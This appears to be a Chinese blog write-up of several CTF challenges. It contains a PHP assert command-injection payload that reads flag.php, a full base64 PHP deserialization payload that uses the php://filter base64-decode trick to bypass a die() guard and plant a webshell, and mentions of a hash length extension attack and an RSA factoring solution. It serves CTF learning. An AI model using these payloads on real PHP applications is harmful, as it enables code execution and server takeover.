太菜了,只能挨打。
签到
解数独,找个自动解题的网站就好了。
1 | 473615928 |
1 | flag{cee3860fb3f4a52e615fa8aaf3c91f2b} |
warmup
1 |
|
assert
会造成命令执行,只要注释掉后面的语句就行了。
1 | ?u=Hello%20World&i=system(%22cat%20flag.php%22);// |
1 | <!-- TODO --><?php$flag='flag{a0572c90-6aab-42c0-a0c7-2fe5fa4442b3}';echo '<!-- TODO -->'; |
simple ser
1 |
|
根据题意,创建一个cls1
一个cls2
对象,使得cls1->cls=cls2
即可,最后再使用伪协议绕过得以die()
。
这里做个笔记,之前MOCTF
学长出的一道题,死亡退出。
原理是这里使用伪协议打开south.php
文件,并将前面的$content
与后面的Base64
编码合并解码写入文件。
1 | $aa = new cls1(); |
此处由于Base64
的特性,即四个字节为一组解码,且编码字符为大小写字符和数字以及+
、/
,因此此处的<?php die(\'stupid\'); ?>
有效字符只有12
位,刚好够解码干扰前面的死亡代码,若只有不足4N
位则需自己添加有效字符凑齐,那么并上后面的Base64
编码的恶意代码一同解码,就会得到暝髭i暼?php system('cat flag.php');?>
这样的内容写入文件中,从而Getshell
,而最后payload
如下。
1 | ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXNvdXRoLnBocCI7czozOiJ0eHQiO3M6NDQ6IlBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZHpiM1YwYUNkZEtUcy9QZz09Ijt9czozOiJhcnIiO2E6MTp7aToxO3M6NzoiZmlsZXB1dCI7fX0= |
连🐎。
1 | flag{b722fe16-38d7-4969-aa2e-e907e69982e2} |
买手机
RCTF
的原题,Cpushop
。
1 | #!/usr/bin/env python |
1 | flag{Hash_leNgth_eXt3ns1on_attack_!S)_E@sy} |
RSA
CTFWIKI上有原题,由于pq
搞反了,导致跑了一天都没跑出来。
1 | import gmpy2 |
得到flag
。
1 | flag{f@cToR__N_bY_!teratlnG!} |